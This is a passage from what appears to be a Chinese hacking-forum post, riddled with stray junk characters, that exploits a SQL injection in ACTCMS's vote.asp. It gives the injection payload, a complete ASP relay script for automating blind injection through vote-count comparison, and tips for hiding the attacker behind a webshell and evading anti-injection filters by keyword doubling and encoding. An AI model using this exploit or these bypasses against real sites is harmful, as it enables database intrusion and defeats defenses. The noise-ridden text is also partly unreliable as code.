( _( j5 k; W# {6 R7 P看到ninty大牛的blog的一篇文章) @; {9 s3 M/ P# m$ u( T2 s
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]4 u; i) ?" e6 Q$ c( t
关于actcms漏洞的利用 by 3x qq:381862589) d$ g2 Z4 q0 Y3 W( c ?1 W; B. b6 Z
转载请注明以上
1 K! N6 k9 R! q/ L: g& l; q T漏洞文件:
# r n+ C2 t f. p/plus/vote/vote.asp- k& t, [; `1 t! P
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 7 Y' Y. {4 N$ U8 m* H
% q" M: c4 z) E( H. Q1 c3 Z" V( @( f) K$ U
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
, u! I! {! Z8 e' x1 B, Y3 f. V
. R5 k5 L& S2 y s/ K3 response.end
- O8 F8 q- z2 A! J& M. j/ g* E) [, T5 l2 }: m3 T9 q
4 end if , N! ?( Q) `1 j
5 M! d7 I: f' Y$ d
5 for i=1 to request("voted").count
% `( r% a# `+ m! x* O5 e' K5 f1 D: [: W& ^& k. X6 A: t
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 3 x" p( I: L7 m" n
: E& b2 c7 w0 K7 next
3 r# Q. ~9 ]* L6 ~% M
5 [' N$ T! s! m9 s# p9 C) z- `( p, t8.... & e4 D% y) D& S% y" L* o1 P
5 ~' d2 z7 @3 {9 a6 D
9response.Redirect "index.asp?id="&id&"" ! F* H6 @$ D' B: V7 p9 @ I
投票结束回跳转回index.asp这个投票结果页面
, Y7 x; {* U. o% k- P如果投票成功票数加1
* x H' V' E: f 失败票数不变
8 ^9 I2 b8 o0 `7 G: P+ I如图:
6 B$ p% a- M# Dhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)) @1 j/ Y; Q+ m
4 |. V7 G8 [4 b2009-12-27 13:20
) V: H( V( t' ?' u
1 b& b: |+ s- l, r& E$ F利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了 m# A9 h. y; k. C3 ^4 S- U
" ~' R! w7 B9 Z2 o9 E& Q! k
本帖隐藏的内容需要回复才可以浏览
7 U I$ O } F9 M% R我们用注入中转来实现这个注入具体代码如下:
+ \ g# `/ m& S& X* t先用寂寞的刺猬大牛的注入中转生成jmget.asp
$ O7 }/ S1 q- \: \注入地址:http://localhost/actcms/plus/vote/vote.asp* q9 P% P0 i& u; h
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项6 t: r ]; [" L% B; P" [) X6 w8 l
* j7 \! Z8 A6 B- p9 B1 V8 R然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
: M! Y) s( k5 a+ R* w# p: |/ w0 X
6 g7 p, U/ S2 f# \$ i" x* J02JmdcwName=request("jmdcw")
# x" I+ P5 h, \) Y( [6 F- Q, ^$ \1 b2 T, p k& f% K5 l
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
. F' o' c/ s3 ?1 j8 m, A
5 }" B* Y" i9 u" z; j- \3 N; F04JmStr="id=1&voted=-1 or 1="&JmdcwName
3 i* Z i! b* b+ z" `
" s" a+ | _8 V' g6 J05JmStr=URLEncoding(JmStr) - L o& j4 C- W1 _7 y
5 I( a7 p* [6 c0 A, {. W/ P
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"9 s/ s- A9 L& m) R
" O4 }+ ^" _, @+ H07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
# K0 j# E' X# n! P) G, m( |8 x7 |/ S1 J# }! m7 A% A
08testurl=testurl & "?" & JmStr
8 l4 M4 O) H% U6 G2 o
6 F& V% f0 U0 C, @* D2 G09JMUrl=JMUrl & "?" & JmStr
! _' S! l% g& G7 s* g* a# O1 F
0 }* C2 N# W2 V/ {1 h- h4 H6 f. n10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp", R8 C; l4 j6 B5 X8 w- P7 U* z
% C7 M4 l$ P& v0 r9 i( N4 ~
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
~1 y. N: s% z# q- B1 b0 P/ m8 b4 Z5 {( K: U
12JmCok=replace(JmCok,chr(32),"%20") 9 s4 I9 m' q' x8 w* J
6 K6 I: j8 O6 P! x( h
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ; x0 o9 v% F& E$ u8 B
1 x& S: k/ ]$ g, k( I14
: L3 l3 m4 c5 T) ~8 H' e$ ]
7 q( U+ T4 q. |# c7 d1 q15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 1 l( D( Q' J0 H c: N$ E% A6 Z
& \ ~( b& @# G+ J% j0 ^- s16 % @1 f0 b$ P+ B* r$ @
" F: | e* M/ n/ k( k# P
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
0 ?% x. o* q0 O) ]& ]! I$ p' Y2 X0 A, L* \' o
18response.write test1&""&test2&""
# u/ J W6 N% @! y# t& e/ ]* V
+ {7 c1 J5 L, }4 S) p- w0 D19 + i4 |: j2 r/ W. y
: Z/ ]( u/ b6 G0 i
20if test1=test2 then '如前后记录相等,表示失败
' N* J7 S' x! f
4 u; r5 k" R9 X( H, W8 u" a21 response.write "failed"
9 [1 h) _2 h; H8 f
" \1 w1 s8 ]: ?22else + X9 |& \, m0 E0 K2 J
8 M. f8 R" a. d/ x8 k/ ` x23 response.write "succeed"
( V0 I( M4 |. f' \; O5 [
% N" Y" E" M! Z" A24end if
5 u% p$ X& G5 q: o. @7 Q3 W& `7 M. B- |" ~) r$ M8 J" ]
25 ' y' w( B+ Y {/ k' E
4 l- Q9 H2 o) O" J26response.write "by 3x"; I7 `% p% g5 H, ~/ O7 M
4 s) ^3 r! l, D+ c
27
! s" [6 g" M4 l8 H5 ] d6 Y) A! c$ d2 H, x( T* Q+ p! O. S' T: d! t
28 2 r4 W9 X5 H8 Q* W
% d. U4 Y$ ^" h: c1 |7 B! w% V
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
( U5 A# ^; T0 s$ ]! |$ C1 w1 |% X* ^# c# s
30Dim Http
$ t. D" B3 g) d4 } ^
1 U8 x/ }/ s# W$ `7 O. z9 c31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
/ t L% ]6 ~1 c* [# {, S: m3 [+ P: S; |# t7 ?2 q1 A/ a) @8 G
32With Http 9 _3 U0 Y. l7 }& a' j- I
: b2 |# g5 f( |4 f+ D2 K33
, a/ @9 [$ L( W$ O& h9 d! _& O* j
2 {# D$ q) m7 q- ?34.Open "GET",PostUrl,False
/ x+ e, n; V7 p) Y a% Z" o& ^& z* @3 x4 @; Y4 [
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
( o, q. `) L1 K
# W( ]$ O7 m& ^2 x/ x8 o6 ?" I36.SetRequestHeader "Referer",PostRef ; [, `# @, y4 w/ U" j; {2 k
) x' i0 d- G3 Y5 z' t37.SetRequestHeader "Cookie",PostCok
$ a' w/ s0 U4 W8 T' k" j! ]* v4 N0 t* r* I! s5 u4 \
38.Send () , y9 I+ P4 w. y; h
# o' ^' `# o: m% @1 x$ @39PostData = .ResponseBody
1 r# `' |: A* m/ G
6 b0 X) P" m8 ] {40End With; \6 D) b- b+ [) \
! O- B" ^# o8 M3 I( v41Set Http = Nothing
& m# @. d) X2 @3 C: t- W5 Q9 Z- a5 ~9 o) `9 F6 d
42PostData =bytes2BSTR(PostData) ' V1 `$ Y8 i, o5 P# i4 u- e
- P! s! F. _0 T+ P( c43End Function
+ }" X0 z+ R% i6 D! N; d8 [% p1 `, W" s' e
44 ( h" w$ o- V7 u/ N% a6 E* `
) q G7 X1 y# J8 H45 % W! W, M5 J P' ]7 _
7 D3 b: G2 w3 h$ d) [& l. C f2 c46Function bytes2BSTR(vIn) % X. v/ W1 |" e2 o7 s1 U
( b! ~! u: l" b0 ~. @2 |47Dim strReturn
2 O5 y h" [' j4 d3 j% U" q
3 ~+ l7 |3 ?" Z48Dim I, ThisCharCode, NextCharCode
# z4 t* Y, N5 Y5 }! {' s4 g6 A x0 W/ L6 v- S0 E9 j
49strReturn = ""8 ]6 C S* z4 ?. [6 S ]9 d- h- u
4 m- C( Z( [1 @
50For I = 1 To LenB(vIn) 4 Z- @7 Q& d- i/ i% b
# k3 `0 E- P# J; P2 v% S1 Y
51ThisCharCode = AscB(MidB(vIn, I, 1))
! L& _. f! `4 Y# i! r; H
/ Y; ^3 C8 j @9 O/ g: }8 H" L52If ThisCharCode < &H80 Then4 y3 \- P1 \9 x+ o& Q8 ^9 L" J3 Q# G
1 H; A4 L, D/ {
53strReturn = strReturn & Chr(ThisCharCode) 3 c; `% I X" ]) t9 a
$ y0 I# G+ O/ o) e
54Else( L" u! O x6 x% z1 y# [+ t& E8 `
- D4 \+ A, W7 I8 S
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) . [4 J* _3 Y7 k8 z. U- O% x8 l, \
; Y* K7 u5 k; q& A. K1 L56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
4 L) z/ ] K% ^7 l% P( @' z U% z0 h* k2 }# W' K9 @
57I = I + 1 $ m! R; }! P' T+ V/ \1 i
`% F# E: n2 m' O) [
58End If4 h; {1 x4 o8 t
" w# q& e/ h, g5 ^5 ?0 \! k
59Next
" y( q9 X% c, e% J. ?1 Z$ b% I e" L: p
60bytes2BSTR = strReturn % |# ^2 ~4 \% A
J* j" L- l, \, }7 l6 k" @; A61End Function/ Z$ z, C8 C* a7 [7 _0 g8 {! B- j
+ ?9 j/ G" ]1 \) @$ Y# A
62 + p& y' k) V! J$ `8 X! a: `+ G' O1 }! q1 f
+ {! p1 P8 `5 c" t+ k% ^& I
63Function URLEncoding(vstrin)
" g: ~' P+ F1 I5 D- {5 {0 z; ]# L& w9 i5 _. h" c
64strReturn=""+ J& n6 ?3 j) L* e. g) u
/ `2 P6 v. f, M65Dim i 7 L" s! c; I( b7 P" s
. p4 P$ ?! W. X66For i=1 To Len(vstrin)
/ H9 y4 K! G1 g+ P7 J. t! A, f* N9 I+ A, t( O2 L
67ThisChr=Mid(vstrin,i,1)
: y9 T4 B0 c* _% ^- X7 z. M; t+ e0 u J3 k7 C6 m% O
68if Abs(Asc(ThisChr))< &HFF Then
n& i' M& C- n' M$ I! s2 g) D' C4 E& s) K& r
69strReturn=strReturn & ThisChr % m5 w0 ]) f2 I2 N
A4 b* i& T: w$ X: s6 v3 ^/ `70Else! x5 g7 q. {, [0 g: X3 a% ?
, N+ D% S' Q* s" p, s2 C
71InnerCode=Asc(ThisChr) ( J, U' e8 J; [3 a7 m9 m- y
$ s5 p4 H+ ]- u9 P& w6 |- ~! t% X) f72If InnerCode<0 Then
$ k- \; ^1 x. f$ |' p( e. q* {! o* a$ b, c t9 C
73InnerCode=InnerCode + &H10000 9 [# z9 A& i6 N+ l, u' c$ H6 R
' C9 |- b$ G1 k7 K
74End If
/ o1 v' s2 i+ |5 ^8 I& h) b3 J$ h8 q# g' S9 C, X; K* a9 g6 D
75Hight1=(InnerCode And &HFF00) \&HFF
9 H2 N; w2 N0 t; S( M' i A: V/ o% B1 ] K
76Low1=InnerCode And &HFF ' N9 `$ {: E4 \: ~# C8 U- B* ~
' Q( @6 C/ l( y/ z
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 1 q& v! p, L" s0 F! a7 D, K0 B
( K& c& S1 T1 B* Z78End if ; K$ l& }% ^( j7 v u4 x O( e. ^
* z* w c h! W4 A$ @- P% z79Next
8 L" L6 l6 Q0 V
7 v& u! A: v3 f80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
+ O7 h$ r2 ^0 z0 a0 @) e+ `6 B+ [2 p _. Q3 W9 ?; y
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
' W7 `4 A! ?, L0 m6 d+ `( ^6 b# I% v: p7 L7 l; Z
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
4 u. ~9 u2 a- f6 A) B1 d; u5 I4 j, @' c l2 s/ c1 e: Q6 r
83URLEncoding=strReturn ! e" T% a; [% R& u$ F
; l+ Y# d# P3 Q$ X6 K' p Z8 A5 i
84End Function% L8 f5 A. T2 }# U7 v
. S% }9 {8 ^8 v* A85 3 C' B% O$ n/ x5 @
# ]2 F4 N0 L, j
86function getSt(body)
+ @; S, Y/ ?* V/ i1 C3 O& f L5 C3 m. \5 R: f8 I
87 startpot=instr(body,"投票人数:")+len("投票人数:") 0 ^# r1 k4 e- T0 X' r9 ~9 V) j
0 S+ v( b0 N6 E) X
88 endpot=instr(startpot,body," ")
' O# }. \( U8 r) n, U0 G2 m- j' J6 i! x& u9 ~
89 getSt=mid(body,startpot,endpot-startpot)
! F* D3 G; ~( q$ S, [& }
]8 L$ K; L" O- j( {% Y0 O90end function
! z4 b4 l; ?' q6 R7 {- D4 ]1 v. F
91%> `: Q) e0 Z6 L& w# d( ^
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了6 i. I7 h% J" @7 q! `" W
测试下效果:! T3 A% d! \1 x8 X
投票成功:
6 k2 W0 T5 i1 ?: F. ^! V ]1 R' Jhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)5 S3 ?- ]+ J6 s6 _6 n: Z: \5 X
3 H2 I. g/ O' U
2009-12-27 13:29- d. t u" c" \' Q0 ?4 t
投票失败
6 t+ \1 W3 R. r$ J0 t( I* f' E Yhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
3 \- }- q- h1 ~* Q$ f* R. s; k* h" F6 `
2009-12-27 13:293 e& A" y/ f6 a2 S1 r& O9 |! r
-------------------------------------------------------------------------------! N6 B; y' }* f& {- n0 O' y4 m
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
/ L" {# @6 b( `' { X很抱歉。。。只能用单线程工具去注入。。。。。
& f+ D" H7 V2 @: n所以失败。。。不好意思。。。5 W& M& j4 j& \/ A1 u
-------------------------------------------------------------------------------
. t( v! X8 @' y/ H$ h: K6 v2 S; i2 J( G
注入中转的一些其他应用
% n5 i6 `* @5 q其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
{3 G. |9 f6 u$ r1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id, n1 P; v# n/ R0 D; x! |
2.post注入转成get型的注入,方便我们使用工具来跑3 w# [9 ?1 E8 }2 }$ Y
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")) A+ @0 y) _1 b
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过7 w5 B8 K7 s. m P+ d. v/ g
# ^ c5 V t' P4 J8 J @' B
|